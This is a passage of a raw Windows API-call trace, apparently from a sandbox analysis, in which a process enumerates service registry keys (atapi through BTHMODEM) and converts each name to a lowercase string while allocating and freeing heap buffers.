(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0232.628] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0232.629] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.631] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.631] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.631] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0232.631] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.631] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.631] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.632] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.632] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.632] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0232.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.633] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.633] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.633] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.633] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0232.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.634] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 